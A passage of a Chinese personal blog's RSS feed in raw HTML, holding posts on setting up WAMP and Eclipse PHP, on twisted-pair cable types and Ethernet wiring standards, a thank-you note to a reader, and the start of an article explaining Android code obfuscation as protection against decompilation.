	<a target="_blank" href="https://zuoer.xin/content/uploadfile/201809/079f1536297640.png" id="ematt:31"><img src="https://zuoer.xin/content/uploadfile/201809/thum-079f1536297640.png" title="点击查看原图" alt="20.png" border="0" width="420" height="275" /></a> 
</p>
<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;font-family:-apple-system, &quot;white-space:normal;background-color:#FFFFFF;">
	（4）将www目录改为Demo目录(非必要操作！！！)
</p>
<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;font-family:-apple-system, &quot;white-space:normal;background-color:#FFFFFF;">
	a.进入wamp根目录，找到wampmanager.ini文件和wampmanager.tpl文件
</p>
<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;font-family:-apple-system, &quot;white-space:normal;background-color:#FFFFFF;">
	b.打开ini文件，使用快捷键Ctrl+F，在输入框输入menu.left,回车进行搜索，进行图示修改，进行保存
</p>
<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;font-family:-apple-system, &quot;white-space:normal;background-color:#FFFFFF;">
	<a target="_blank" href="https://zuoer.xin/content/uploadfile/201809/c9ba1536296715.png" id="ematt:25"><img src="https://zuoer.xin/content/uploadfile/201809/thum-c9ba1536296715.png" title="点击查看原图" alt="17.png" border="0" width="420" height="208" /></a> 
</p>
<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;font-family:-apple-system, &quot;white-space:normal;background-color:#FFFFFF;">
	c.打开tpl文件，使用快捷键Ctrl+F，在输入框输入menu.left,回车进行搜索，进行图示修改并保存
</p>
<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;font-family:-apple-system, &quot;white-space:normal;background-color:#FFFFFF;">
	<a target="_blank" href="https://zuoer.xin/content/uploadfile/201809/88391536296835.png" id="ematt:27"><img src="https://zuoer.xin/content/uploadfile/201809/thum-88391536296835.png" title="点击查看原图" alt="18.png" border="0" width="420" height="249" /></a> 
</p>
<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;font-family:-apple-system, &quot;white-space:normal;background-color:#FFFFFF;">
	重启服务器
</p>
<span style="font-size:32px;">二、eclipsePHP安装</span> 
<p>
	<br />
</p>
<p>
	<span style="font-size:18px;"><span style="font-size:32px;"><span style="font-size:18px;">1.下载地址：<a href="https://www.eclipse.org/downloads/download.php?file=/technology/epp/downloads/release/photon/R/eclipse-php-photon-R-win32-x86_64.zip&mirror_id=105" target="_blank">点我下载</a></span></span><br />
</span> 
</p>
<p>
	<span style="font-size:18px;"><span style="font-size:18px;">2.下载后解压</span></span> 
</p>
<p>
	<span style="font-size:18px;"><span style="font-size:18px;"><br />
</span></span> 
</p>
<p>
	<span style="font-size:18px;"><span style="font-size:18px;"><a target="_blank" href="https://zuoer.xin/content/uploadfile/201809/9eb61536294938.png" id="ematt:15"><img src="https://zuoer.xin/content/uploadfile/201809/thum-9eb61536294938.png" title="点击查看原图" alt="12.png" border="0" width="420" height="230" /></a></span></span> 
</p>
<p>
	<span style="font-size:16px;">3.点eclipse.exe启动</span> 
</p>
<p>
	<span style="font-size:16px;"><br />
</span> 
</p>
<p>
	<a target="_blank" href="https://zuoer.xin/content/uploadfile/201809/7b6f1536295259.png" id="ematt:19"><img src="https://zuoer.xin/content/uploadfile/201809/thum-7b6f1536295259.png" title="点击查看原图" alt="14.png" border="0" width="420" height="315" /></a> 
</p>
<p>
	<span style="font-size:18px;"><span style="font-size:18px;"><a target="_blank" href="https://zuoer.xin/content/uploadfile/201809/9eb61536294938.png"></a><a target="_blank" href="https://zuoer.xin/content/uploadfile/201809/c00b1536295203.png" id="ematt:17"><img src="https://zuoer.xin/content/uploadfile/201809/thum-c00b1536295203.png" title="点击查看原图" alt="13.png" border="0" width="420" height="281" /></a></span></span> 
</p>
<p>
	<span style="font-size:18px;"><span style="font-size:18px;">4.如果不能启动 切换 jdk版本 我切换的是jdk1.8</span></span> 
</p>
<p>
	<span style="font-size:18px;"><span style="font-size:18px;">5.建个项目</span></span> 
</p>
<p>
	<span style="font-size:18px;"><span style="font-size:18px;"><a target="_blank" href="https://zuoer.xin/content/uploadfile/201809/d6421536295435.png" id="ematt:21"><img src="https://zuoer.xin/content/uploadfile/201809/thum-d6421536295435.png" title="点击查看原图" alt="15.png" border="0" width="420" height="282" /></a><br />
</span></span> 
</p>
<p>
	<span style="font-size:18px;">6.在浏览器输入http://localhost/test/newfile.php</span> 
</p>
<p>
	<span style="font-size:18px;"><a target="_blank" href="https://zuoer.xin/content/uploadfile/201809/71341536297710.png" id="ematt:33"><img src="https://zuoer.xin/content/uploadfile/201809/thum-71341536297710.png" title="点击查看原图" alt="21.png" border="0" width="420" height="154" /></a></span> 
</p>
<p>
	<span style="font-size:18px;"><br />
</span> 
</p>]]></description>
	<pubDate>Fri, 07 Sep 2018 03:27:01 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=10</guid>

</item>
<item>
	<title>双绞线的前世今生</title>
	<link>https://www.zuoer.xin/?post=9</link>
	<description><![CDATA[<h1 align="center" style="text-align:center;">
	<b>双绞线的前世今生</b><b></b> 
</h1>
<p class="p" style="margin-left:0.0000pt;text-indent:0.0000pt;background:#FFFFFF;">
	<b>双</b><b>绞线</b>（<b>Twisted pair</b>）是由两条相互绝缘的导线按照一定的规格互相缠绕（一般以顺时针缠绕）在一起而制成的一种通用配线，属于信息通信网络传输介质。
</p>
<p class="p" style="margin-left:0.0000pt;text-indent:0.0000pt;background:#FFFFFF;">
	双绞线过去主要是用来传输模拟信号的，但现在同样适用于数字信号的传输。
</p>
<h2 style="margin-left:0.0000pt;text-indent:0.0000pt;background:#FFFFFF;">
	原理
</h2>
<p class="MsoNormal">
	把两根绝缘的铜导线按一定规格互相绞在一起，可降低信号干扰的程度，每一根导线在传输中辐射的电波会被另一根线上发出的电波抵消。其中外皮所包的导线两两相绞，形成双绞线对。
</p>
<h2 style="margin-left:0.0000pt;text-indent:0.0000pt;background:#FFFFFF;">
	电缆类型
</h2>
<p class="p" style="margin-left:0.0000pt;text-indent:0.0000pt;background:#FFFFFF;">
	1.<b>屏蔽双绞线</b>（英语：Shielded Twisted Pair，<b>STP</b><span>）</span>,是一种广泛用于数据传输的铜质线材。此种线由四组两条一对地互相缠绕并包装在绝缘管套中的铜线所组成，四对不同颜色的传输线互相缠绕，每对相同颜色的线传递著来回两方向的电脉冲，这样的设计是利用了电磁感应相互抵销的原理来屏蔽电磁干扰。
</p>
<p class="p" style="margin-left:0.0000pt;text-indent:0.0000pt;background:#FFFFFF;">
	双绞线外的金属网（通常是铜质）可以进一步屏蔽传输线，使之较不受外部电磁场干扰，为避免天线效应，一般建议需确实接地。但这种额外的保护结构降低了线材的弹性。这种线常用在以太网（局域网）中，屏蔽双绞线额外的保护结构提高了此种线材的单位价格。
</p>
<h2 style="margin-left:0.0000pt;text-indent:0.0000pt;background:#FFFFFF;">
	屏蔽双绞线规格
</h2>
<p class="p" style="margin-left:0.0000pt;text-indent:0.0000pt;background:#FFFFFF;">
	F/UTP双绞线：总屏蔽层为铝箔屏蔽，没有线对屏蔽层的屏蔽双绞线；
</p>
<p class="p" style="margin-left:0.0000pt;text-indent:0.0000pt;background:#FFFFFF;">
	U/FTP双绞线：没有总屏蔽层，线对屏蔽为铝箔屏蔽的屏蔽双绞线；
</p>
<p class="p" style="margin-left:0.0000pt;text-indent:0.0000pt;background:#FFFFFF;">
	SF/UTP双绞线：总屏蔽层为丝网＋铝箔的双重屏蔽，线对没有屏蔽的双重屏蔽双绞线；
</p>
<p class="p" style="margin-left:0.0000pt;text-indent:0.0000pt;background:#FFFFFF;">
	S/FTP双绞线：总屏蔽层为丝网，线对屏蔽为铝箔屏蔽的多重屏蔽双绞线；
</p>
<p class="p" style="margin-left:0.0000pt;text-indent:0.0000pt;background:#FFFFFF;">
	U/UTP双绞线：即通常所说的UTP双绞线，非屏蔽双绞线。
</p>
<table border="1" cellspacing="0" style="border:none;">
	<tbody>
		<tr>
			<td width="576" valign="center" colspan="4" style="border:none;background:#F8F9FA;">
				<p class="MsoNormal" align="center" style="text-align:center;">
					<b><span style="font-family:宋体;font-size:12pt;">常见双绞线规格的业内名称一览表</span></b><b><span style="font-family:宋体;font-size:12pt;"></span></b> 
				</p>
			</td>
		</tr>
		<tr>
			<td width="144" valign="center" style="border:1.0000pt solid #A2A9B1;background:#EAECF0;">
				<p class="MsoNormal" align="center" style="margin-left:0.0000pt;text-indent:0.0000pt;text-align:center;">
					<b><span style="font-family:宋体;font-size:11pt;">业内缩写</span></b><b><span style="font-family:宋体;font-size:11pt;"></span></b> 
				</p>
			</td>
			<td width="144" valign="center" style="border:1.0000pt solid #A2A9B1;background:#EAECF0;">
				<p class="MsoNormal" align="center" style="margin-left:0.0000pt;text-indent:0.0000pt;text-align:center;">
					<b><span style="font-family:宋体;font-size:11pt;">ISO/IEC 11801&nbsp;名称</span></b><b><span style="font-family:宋体;font-size:11pt;"></span></b> 
				</p>
			</td>
			<td width="144" valign="center" style="border:1.0000pt solid #A2A9B1;background:#EAECF0;">
				<p class="MsoNormal" align="center" style="margin-left:0.0000pt;text-indent:0.0000pt;text-align:center;">
					<b><span style="font-family:宋体;font-size:11pt;">线缆总屏蔽</span></b><b><span style="font-family:宋体;font-size:11pt;"></span></b> 
				</p>
			</td>
			<td width="144" valign="center" style="border:1.0000pt solid #A2A9B1;background:#EAECF0;">
				<p class="MsoNormal" align="center" style="margin-left:0.0000pt;text-indent:0.0000pt;text-align:center;">
					<b><span style="font-family:宋体;font-size:11pt;">线对屏蔽</span></b><b><span style="font-family:宋体;font-size:11pt;"></span></b> 
				</p>
			</td>
		</tr>
		<tr>
			<td width="144" valign="center" style="border:1.0000pt solid #A2A9B1;background:#F8F9FA;">
				<p class="MsoNormal" style="margin-left:0pt;text-indent:0pt;">
					<span style="font-family:宋体;font-size:11pt;">UTP</span><span style="font-family:宋体;font-size:11pt;"></span> 
				</p>
			</td>
			<td width="144" valign="center" style="border:1.0000pt solid #A2A9B1;background:#F8F9FA;">
				<p class="MsoNormal" style="margin-left:0pt;text-indent:0pt;">
					<span style="font-family:宋体;font-size:11pt;">U/UTP</span><span style="font-family:宋体;font-size:11pt;"></span> 
				</p>
			</td>
			<td width="144" valign="center" style="border:1.0000pt solid #A2A9B1;background:#F8F9FA;">
				<p class="MsoNormal" style="margin-left:0pt;text-indent:0pt;">
					<span style="font-family:宋体;font-size:11pt;">无</span><span style="font-family:宋体;font-size:11pt;"></span> 
				</p>
			</td>
			<td width="144" valign="center" style="border:1.0000pt solid #A2A9B1;background:#F8F9FA;">
				<p class="MsoNormal" style="margin-left:0pt;text-indent:0pt;">
					<span style="font-family:宋体;font-size:11pt;">无</span><span style="font-family:宋体;font-size:11pt;"></span> 
				</p>
			</td>
		</tr>
		<tr>
			<td width="144" valign="center" style="border:1.0000pt solid #A2A9B1;background:#F8F9FA;">
				<p class="MsoNormal" style="margin-left:0pt;text-indent:0pt;">
					<span style="font-family:宋体;font-size:11pt;">STP, ScTP, PiMF</span><span style="font-family:宋体;font-size:11pt;"></span> 
				</p>
			</td>
			<td width="144" valign="center" style="border:1.0000pt solid #A2A9B1;background:#F8F9FA;">
				<p class="MsoNormal" style="margin-left:0pt;text-indent:0pt;">
					<span style="font-family:宋体;font-size:11pt;">U/FTP</span><span style="font-family:宋体;font-size:11pt;"></span> 
				</p>
			</td>
			<td width="144" valign="center" style="border:1.0000pt solid #A2A9B1;background:#F8F9FA;">
				<p class="MsoNormal" style="margin-left:0pt;text-indent:0pt;">
					<span style="font-family:宋体;font-size:11pt;">无</span><span style="font-family:宋体;font-size:11pt;"></span> 
				</p>
			</td>
			<td width="144" valign="center" style="border:1.0000pt solid #A2A9B1;background:#F8F9FA;">
				<p class="MsoNormal" style="margin-left:0pt;text-indent:0pt;">
					<span style="font-family:宋体;font-size:11pt;">铝箔</span><span style="font-family:宋体;font-size:11pt;"></span> 
				</p>
			</td>
		</tr>
		<tr>
			<td width="144" valign="center" style="border:1.0000pt solid #A2A9B1;background:#F8F9FA;">
				<p class="MsoNormal" style="margin-left:0pt;text-indent:0pt;">
					<span style="font-family:宋体;font-size:11pt;">FTP, STP, ScTP</span><span style="font-family:宋体;font-size:11pt;"></span> 
				</p>
			</td>
			<td width="144" valign="center" style="border:1.0000pt solid #A2A9B1;background:#F8F9FA;">
				<p class="MsoNormal" style="margin-left:0pt;text-indent:0pt;">
					<span style="font-family:宋体;font-size:11pt;">F/UTP</span><span style="font-family:宋体;font-size:11pt;"></span> 
				</p>
			</td>
			<td width="144" valign="center" style="border:1.0000pt solid #A2A9B1;background:#F8F9FA;">
				<p class="MsoNormal" style="margin-left:0pt;text-indent:0pt;">
					<span style="font-family:宋体;font-size:11pt;">铝箔</span><span style="font-family:宋体;font-size:11pt;"></span> 
				</p>
			</td>
			<td width="144" valign="center" style="border:1.0000pt solid #A2A9B1;background:#F8F9FA;">
				<p class="MsoNormal" style="margin-left:0pt;text-indent:0pt;">
					<span style="font-family:宋体;font-size:11pt;">无</span><span style="font-family:宋体;font-size:11pt;"></span> 
				</p>
			</td>
		</tr>
		<tr>
			<td width="144" valign="center" style="border:1.0000pt solid #A2A9B1;background:#F8F9FA;">
				<p class="MsoNormal" style="margin-left:0pt;text-indent:0pt;">
					<span style="font-family:宋体;font-size:11pt;">STP, ScTP</span><span style="font-family:宋体;font-size:11pt;"></span> 
				</p>
			</td>
			<td width="144" valign="center" style="border:1.0000pt solid #A2A9B1;background:#F8F9FA;">
				<p class="MsoNormal" style="margin-left:0pt;text-indent:0pt;">
					<span style="font-family:宋体;font-size:11pt;">S/UTP</span><span style="font-family:宋体;font-size:11pt;"></span> 
				</p>
			</td>
			<td width="144" valign="center" style="border:1.0000pt solid #A2A9B1;background:#F8F9FA;">
				<p class="MsoNormal" style="margin-left:0pt;text-indent:0pt;">
					<span style="font-family:宋体;font-size:11pt;">丝网</span><span style="font-family:宋体;font-size:11pt;"></span> 
				</p>
			</td>
			<td width="144" valign="center" style="border:1.0000pt solid #A2A9B1;background:#F8F9FA;">
				<p class="MsoNormal" style="margin-left:0pt;text-indent:0pt;">
					<span style="font-family:宋体;font-size:11pt;">无</span><span style="font-family:宋体;font-size:11pt;"></span> 
				</p>
			</td>
		</tr>
		<tr>
			<td width="144" valign="center" style="border:1.0000pt solid #A2A9B1;background:#F8F9FA;">
				<p class="MsoNormal" style="margin-left:0pt;text-indent:0pt;">
					<span style="font-family:宋体;font-size:11pt;">SFTP, S-FTP, STP</span><span style="font-family:宋体;font-size:11pt;"></span> 
				</p>
			</td>
			<td width="144" valign="center" style="border:1.0000pt solid #A2A9B1;background:#F8F9FA;">
				<p class="MsoNormal" style="margin-left:0pt;text-indent:0pt;">
					<span style="font-family:宋体;font-size:11pt;">SF/UTP</span><span style="font-family:宋体;font-size:11pt;"></span> 
				</p>
			</td>
			<td width="144" valign="center" style="border:1.0000pt solid #A2A9B1;background:#F8F9FA;">
				<p class="MsoNormal" style="margin-left:0pt;text-indent:0pt;">
					<span style="font-family:宋体;font-size:11pt;">丝网+铝箔</span><span style="font-family:宋体;font-size:11pt;"></span> 
				</p>
			</td>
			<td width="144" valign="center" style="border:1.0000pt solid #A2A9B1;background:#F8F9FA;">
				<p class="MsoNormal" style="margin-left:0pt;text-indent:0pt;">
					<span style="font-family:宋体;font-size:11pt;">无</span><span style="font-family:宋体;font-size:11pt;"></span> 
				</p>
			</td>
		</tr>
		<tr>
			<td width="144" valign="center" style="border:1.0000pt solid #A2A9B1;background:#F8F9FA;">
				<p class="MsoNormal" style="margin-left:0pt;text-indent:0pt;">
					<span style="font-family:宋体;font-size:11pt;">FFTP</span><span style="font-family:宋体;font-size:11pt;"></span> 
				</p>
			</td>
			<td width="144" valign="center" style="border:1.0000pt solid #A2A9B1;background:#F8F9FA;">
				<p class="MsoNormal" style="margin-left:0pt;text-indent:0pt;">
					<span style="font-family:宋体;font-size:11pt;">F/FTP</span><span style="font-family:宋体;font-size:11pt;"></span> 
				</p>
			</td>
			<td width="144" valign="center" style="border:1.0000pt solid #A2A9B1;background:#F8F9FA;">
				<p class="MsoNormal" style="margin-left:0pt;text-indent:0pt;">
					<span style="font-family:宋体;font-size:11pt;">铝箔</span><span style="font-family:宋体;font-size:11pt;"></span> 
				</p>
			</td>
			<td width="144" valign="center" style="border:1.0000pt solid #A2A9B1;background:#F8F9FA;">
				<p class="MsoNormal" style="margin-left:0pt;text-indent:0pt;">
					<span style="font-family:宋体;font-size:11pt;">铝箔</span><span style="font-family:宋体;font-size:11pt;"></span> 
				</p>
			</td>
		</tr>
		<tr>
			<td width="144" valign="center" style="border:1.0000pt solid #A2A9B1;background:#F8F9FA;">
				<p class="MsoNormal" style="margin-left:0pt;text-indent:0pt;">
					<span style="font-family:宋体;font-size:11pt;">SSTP, SFTP, STP PiMF</span><span style="font-family:宋体;font-size:11pt;"></span> 
				</p>
			</td>
			<td width="144" valign="center" style="border:1.0000pt solid #A2A9B1;background:#F8F9FA;">
				<p class="MsoNormal" style="margin-left:0pt;text-indent:0pt;">
					<span style="font-family:宋体;font-size:11pt;">S/FTP</span><span style="font-family:宋体;font-size:11pt;"></span> 
				</p>
			</td>
			<td width="144" valign="center" style="border:1.0000pt solid #A2A9B1;background:#F8F9FA;">
				<p class="MsoNormal" style="margin-left:0pt;text-indent:0pt;">
					<span style="font-family:宋体;font-size:11pt;">丝网</span><span style="font-family:宋体;font-size:11pt;"></span> 
				</p>
			</td>
			<td width="144" valign="center" style="border:1.0000pt solid #A2A9B1;background:#F8F9FA;">
				<p class="MsoNormal" style="margin-left:0pt;text-indent:0pt;">
					<span style="font-family:宋体;font-size:11pt;">铝箔</span><span style="font-family:宋体;font-size:11pt;"></span> 
				</p>
			</td>
		</tr>
		<tr>
			<td width="144" valign="center" style="border:1.0000pt solid #A2A9B1;background:#F8F9FA;">
				<p class="MsoNormal" style="margin-left:0pt;text-indent:0pt;">
					<span style="font-family:宋体;font-size:11pt;">SSTP, SFTP</span><span style="font-family:宋体;font-size:11pt;"></span> 
				</p>
			</td>
			<td width="144" valign="center" style="border:1.0000pt solid #A2A9B1;background:#F8F9FA;">
				<p class="MsoNormal" style="margin-left:0pt;text-indent:0pt;">
					<span style="font-family:宋体;font-size:11pt;">SF/FTP</span><span style="font-family:宋体;font-size:11pt;"></span> 
				</p>
			</td>
			<td width="144" valign="center" style="border:1.0000pt solid #A2A9B1;background:#F8F9FA;">
				<p class="MsoNormal" style="margin-left:0pt;text-indent:0pt;">
					<span style="font-family:宋体;font-size:11pt;">丝网+铝箔</span><span style="font-family:宋体;font-size:11pt;"></span> 
				</p>
			</td>
			<td width="144" valign="center" style="border:1.0000pt solid #A2A9B1;background:#F8F9FA;">
				<p class="MsoNormal" style="margin-left:0pt;text-indent:0pt;">
					<span style="font-family:宋体;font-size:11pt;">铝箔</span><span style="font-family:宋体;font-size:11pt;"></span> 
				</p>
			</td>
		</tr>
	</tbody>
</table>
<p class="p" style="margin-left:0.0000pt;text-indent:0.0000pt;background:#FFFFFF;">
	斜杠前的字母标明双绞线缆自身的屏蔽，而斜杠后的字母则代表双绞线对的屏蔽：
</p>
<p class="MsoNormal" style="margin-left:16.8000pt;">
	U = 无屏蔽
</p>
<p class="MsoNormal" style="margin-left:16.8000pt;">
	F = 铝箔屏蔽
</p>
<p class="MsoNormal" style="margin-left:16.8000pt;">
	S = 丝网屏蔽 (仅为总屏蔽)
</p>
<p class="MsoNormal" style="margin-left:16.8000pt;">
	TP = 双绞线对
</p>
<p class="p" style="margin-left:0.0000pt;text-indent:0.0000pt;background:#FFFFFF;">
	2.<b>非屏蔽双绞线</b>（英语：Unshielded Twisted Pair，<b>UTP</b>）是一种数据传输线，由四对不同颜色的传输线互相缠绕所组成，每对相同颜色的线传递著来回两方向的电脉冲，这样的设计是利用了电磁感应<span>相互抵销的原理来屏蔽电磁干扰。</span>UTP广泛用于以太网（局域网）和电话线中。
</p>
<p class="p" style="margin-left:0.0000pt;text-indent:0.0000pt;background:#FFFFFF;">
	<span>非屏蔽双绞线电缆最早在</span>1881年被用于贝尔发明的电话<span>系统中。</span>1900年美国<span>的电话线网络亦主要由</span>UTP所组成，它们由电话公司所拥有。
</p>
<p class="p" style="margin-left:0.0000pt;text-indent:0.0000pt;background:#FFFFFF;">
	<span>目前</span>UTP被广泛用于计算机网络<span>，但由于使用过长的</span>UTP电缆传输数据会引致信号衰减问题，惟其价格较光纤和同轴电缆<span>低，因此</span>UTP主要用作短途传输，一般不多于100米。
</p>
<p class="p" style="margin-left:0.0000pt;text-indent:0.0000pt;background:#FFFFFF;">
	UTP电缆末端通常连接RJ-45，以便插入到与其兼容的连接端口中。
</p>
<h2 style="margin-left:0.0000pt;text-indent:0.0000pt;background:#FFFFFF;">
	接头类型
</h2>
<p class="MsoNormal" style="margin-left:16.8000pt;text-indent:-18.0000pt;">
	·&nbsp;RJ-45接头：双绞线与网卡，双绞线与集线器的接口，俗称水晶头。
</p>
<h1 style="margin-left:0.0000pt;text-indent:0.0000pt;">
	8P8C
</h1>
<p class="p" style="margin-left:0.0000pt;text-indent:0.0000pt;background:#FFFFFF;">
	<b>8P8C</b>，也称<b>RJ45</b>，是以太网使用双绞线连接时常用的一种连接器插头。
</p>
<p class="p" style="margin-left:0.0000pt;text-indent:0.0000pt;background:#FFFFFF;">
	8P8C（8 position 8 contact）的意思是8个位置（Position，指8个凹槽）、8个触点（Contact，指8个金属接点）。
</p>
<h2 style="margin-left:0.0000pt;text-indent:0.0000pt;background:#FFFFFF;">
	连线颜色
</h2>
<p class="p" style="margin-left:0.0000pt;text-indent:0.0000pt;background:#FFFFFF;">
	在T568A<span>中，与之相连的</span>8根线分别定义为：白绿、绿；白橙、蓝；白蓝、橙；白棕、棕。在T568B<span>中，与之相连的</span>8根线分别定义为：白橙、橙；白绿、蓝；白蓝、绿；白棕、棕。其中橙白色和橙色组成一对差分传输线<span>，绿白色和绿色组成一对差分传输线，蓝白色和蓝色组成一对差分传输线，棕白色和棕色组成一对差分传输线。</span>T568A可以跟早期的USOC向下兼容，The United States National Communication Systems Federal Telecommunications Recommendations 不使用 T568B。
</p>
<h2 style="margin-left:0.0000pt;text-indent:0.0000pt;background:#FFFFFF;">
	连线信号
</h2>
<p class="p" style="margin-left:0.0000pt;text-indent:0.0000pt;background:#FFFFFF;">
	在百兆以太网（Fast Ethernet、10/100M Ethernet<span>）中，仅使用</span>1、2、3、6这四根线，以差分信号传输方式减少电磁干扰，其中1、2为TX(发送)（拧在一起），3、6为RX（接收）拧在一起。因此平行线就是两端同为EIA-568-A或者EIA-568-B，而跳线就是一端使用EIA-568-A，另一端使用EIA-568-B的连接方法。
</p>
<p class="p" style="margin-left:0.0000pt;text-indent:0.0000pt;background:#FFFFFF;">
	在千兆以太网（Gigabit Ethernet、1000M Ethernet）或者以太网供电（PoE, Power over Ethernet）中，全部的四对差分对都被使用。
</p>
<h2 style="margin-left:0.0000pt;text-indent:0.0000pt;background:#FFFFFF;">
	规格型号
</h2>
<p class="p" style="margin-left:0.0000pt;text-indent:0.0000pt;background:#FFFFFF;">
	EIA/TIA<span>为双绞线电缆定义了五种不同质量的型号。计算机网络综合布线使用第三、四、五类。</span> <span>这五种型号如下：</span> 
</p>
<p class="MsoNormal" style="margin-left:16.8000pt;text-indent:-18.0000pt;">
	·&nbsp;1类（CAT-1）：主要用于传输语音，用于数据传输。
</p>
<p class="MsoNormal" style="margin-left:16.8000pt;text-indent:-18.0000pt;">
	·&nbsp;2类（CAT-2）：传输频率为1MHz，用于语音传输和最高传输速率4Mbps的数据传输，常见于使用4Mbps规范令牌传递协议的旧的令牌环。
</p>
<p class="MsoNormal" style="margin-left:16.8000pt;text-indent:-18.0000pt;">
	·&nbsp;3类（CAT-3）：指目前在ANSI和EIA/TIA568<span>标准中指定的电缆。该电缆的传输频率为</span>16MHz，用于语音传输及最高传输速率为10Mbps的数据传输，主要用于10BASE-T。
</p>
<p class="MsoNormal" style="margin-left:16.8000pt;text-indent:-18.0000pt;">
	·&nbsp;4类（CAT-4）：该类电缆的传输频率为20MHz,用于语音传输和最高传输速率16Mbps的数据传输，主要用于基于令牌的局域网和10BASE-T/100BASE-T。
</p>
<p class="MsoNormal" style="margin-left:16.8000pt;text-indent:-18.0000pt;">
	·&nbsp;5类（CAT-5<span>）：该类电缆增加了绕线密度，外套一种高质量的绝缘材料，传输频率为</span>100MHz,用于语音传输和最高传输速率为100Mbps的数据传输，主要用于100BASE-T和10BASE-T网络，这是最常用的以太网电缆。
</p>
<p class="MsoNormal" style="margin-left:16.8000pt;text-indent:-18.0000pt;">
	·&nbsp;<span>超</span>5类（CAT-5e）：超5类具有衰减小，串扰<span>少，并且具有更高的衰减与串扰的比值（</span>ACR）和信噪比（Structural Return Loss）、更小的时延误差，性能得到很大提高。
</p>
<p class="MsoNormal" style="margin-left:16.8000pt;text-indent:-18.0000pt;">
	·&nbsp;6类（CAT-6<span>）：</span>10BASE-T/100BASE-T/1000BASE-T。传输频率为250MHz传输速度为10Gbps标准外径6mm。
</p>
<p class="MsoNormal" style="margin-left:16.8000pt;text-indent:-18.0000pt;">
	·&nbsp;<span>扩展</span>6类（CAT-6A）：10GBASE-T。传输频率为500MHz传输速度为10Gbps标准外径9mm。
</p>
<p class="MsoNormal" style="margin-left:16.8000pt;text-indent:-18.0000pt;">
	·&nbsp;<span>扩展</span>6类（CAT-6e）传输频率为500MHz传输速度为10Gbps标准外径6mm。
</p>
<p class="MsoNormal" style="margin-left:16.8000pt;text-indent:-18.0000pt;">
	·&nbsp;7类（CAT-7）：传输频率为600MHz传输速度为10Gbps单线标准外径8mm多芯线标准外径6mm。
</p>
<p class="MsoNormal">
	&nbsp;
</p>]]></description>
	<pubDate>Wed, 05 Sep 2018 12:01:58 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=9</guid>

</item>
<item>
	<title>谢谢曾哥的打赏</title>
	<link>https://www.zuoer.xin/?post=8</link>
	<description><![CDATA[<p style="text-align:center;">
	<span style="font-size:32px;">曾哥最帅</span>
</p>
<p>
	<br />
</p>
<p>
	欢迎曾哥光临小站！
</p>
<p>
	收到来自曾哥的打赏
</p>
<p>
	<a target="_blank" href="https://zuoer.xin/content/uploadfile/201809/8df71536131116.jpg" id="ematt:11"><img src="https://zuoer.xin/content/uploadfile/201809/thum-8df71536131116.jpg" title="点击查看原图" alt="12.jpg" border="0" width="259" height="460" /></a>
</p>]]></description>
	<pubDate>Wed, 05 Sep 2018 07:04:42 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=8</guid>

</item>
<item>
	<title>Android安全攻防战，反编译与混淆技术完全解析（下）</title>
	<link>https://www.zuoer.xin/?post=6</link>
	<description><![CDATA[<div class="article-copyright" style="box-sizing:inherit;outline:0px;padding:0px;margin:0px 0px 8px;word-break:break-all;color:#999999;font-family:&quot;white-space:normal;background-color:#FFFFFF;">
	<span style="color:#4F4F4F;font-size:16px;text-align:justify;font-family:&quot;">在上一篇文章当中，我们学习了Android程序反编译方面的知识，包括反编译代码、反编译资源、以及重新打包等内容。通过这些内容我们也能看出来，其实我们的程序并没有那么的安全。可能资源被反编译影响还不是很大，重新打包又由于有签名的保护导致很难被盗版，但代码被反编译就有可能会泄漏核心技术了，因此一款安全性高的程序最起码要做到的一件事就是：对代码进行混淆。&nbsp;</span>
</div>
<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;">
	混淆代码并不是让代码无法被反编译，而是将代码中的类、方法、变量等信息进行重命名，把它们改成一些毫无意义的名字。因为对于我们而言可能Cellphone类的call()方法意味着很多信息，而A类的b()方法则没有任何意义，但是对于计算机而言，它们都是平等的，计算机不会试图去理解Cellphone是什么意思，它只会按照设定好的逻辑来去执行这些代码。所以说混淆代码可以在不影响程序正常运行的前提下让破解者很头疼，从而大大提升了程序的安全性。&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
今天是我们Android安全攻防战系列的下篇，本篇文章的内容建立在上篇的基础之上，还没有阅读过的朋友可以先去参考&nbsp;<a href="https://zuoer.xin/?post=5" rel="nofollow" target="_blank" style="box-sizing:border-box;outline:0px;color:#6795B5;text-decoration-line:none;cursor:pointer;word-break:break-all;">Android安全攻防战，反编译与混淆技术完全解析（上）</a>&nbsp;
</p>
<hr style="box-sizing:border-box;outline:0px;margin:24px 0px;border-top:none;border-right:none;border-left:none;border-image:initial;border-bottom-style:solid;border-bottom-color:#DDDDDD;word-break:break-all;" />
<h1 id="混淆" style="box-sizing:border-box;outline:0px;padding:0px;margin:8px 0px 16px;font-size:28px;color:#4F4F4F;line-height:36px;word-break:break-all;">
	<a name="t0"></a>混淆
</h1>
<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;">
